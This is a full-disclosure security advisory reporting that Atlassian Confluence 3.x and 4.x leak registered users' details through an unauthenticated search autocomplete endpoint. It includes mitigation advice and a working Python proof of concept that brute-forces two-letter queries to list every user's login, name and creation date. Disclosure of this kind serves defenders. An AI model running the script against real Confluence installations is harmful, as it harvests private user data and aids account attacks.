Since vendor does not seem to care about this issue more than a year
after initial report (https://jira.atlassian.com/browse/CONF-23985), I
think that is time to share this issue.
-------------------------
Affected products:
-------------------------
Atlassian Confluence 3.x and 4.x (including hosted versions on Atlassian Cloud)
-------------------------
Details:
-------------------------
WASC-13 - Information Leakage :
When using search engine on
"http(s)://confluence-installation/dosearchsite.action" any user can
list wiki registered users via the "BY :" section of the form.
If user has no access to registered user profile (for instance anonymous
user), information about the user are still displayed on quick search
autocomplete via the '/rest/prototype/1/search/user.json?' URI . Eeven
if 'View User Profiles' is disabled in Confluence Admin > Global
Permissions > Anonymous Access, informations are still leaked.
WASC-21 - Insufficient Anti-automation :
Quick search autocomplete is performed via a javascript call without any
token verification or anti-bruteforce protection. Since only two
characters are needed, it is really easy to bruteforce all registered users.
-------------------------
Mitigation:
-------------------------
Vendor does not provide any patch and privacy options on Confluence
admin is not helping mitigating this issue.
In order to mitigate exploitation of this issue for on-premise
installations, best solution should be to deny access to
'/rest/prototype/1/search/user.json?' to untrusted networks like
Internet. Users of hosted versions on Atlassian Cloud are left without
any solutions at the moment.
-------------------------
Proof of concept:
-------------------------
The following python code will list all registered users of a Confluence
installation :
#!/usr/bin/env python
import httplib, json, sys, re
if (re.search("^https://";, sys.argv[1].lower()) == None):
httpconnection = httplib.HTTPConnection(re.split("^http://";,
sys.argv[1].lower())[1])
else:
httpconnection = httplib.HTTPSConnection(re.split("^https://";,
sys.argv[1].lower())[1])
for i in map(chr, range(97, 123)):
for j in map(chr, range(97, 123)):
httpconnection.request('GET',
'/rest/prototype/1/search/user.json?query=' + i + j)
results = json.loads(httpconnection.getresponse().read())
for k in range(0,results['totalSize']):
try:
username = results['result'][k]['username']
except:
username = None
try:
title = results['result'][k]['title']
except:
title = None
try:
date =
results['result'][k]['createdDate']['friendly']
except:
date = None
if (username != None):
try:
print "login:%s - name:%s -
creation_date:%s" % (username,title,date)
except:
pass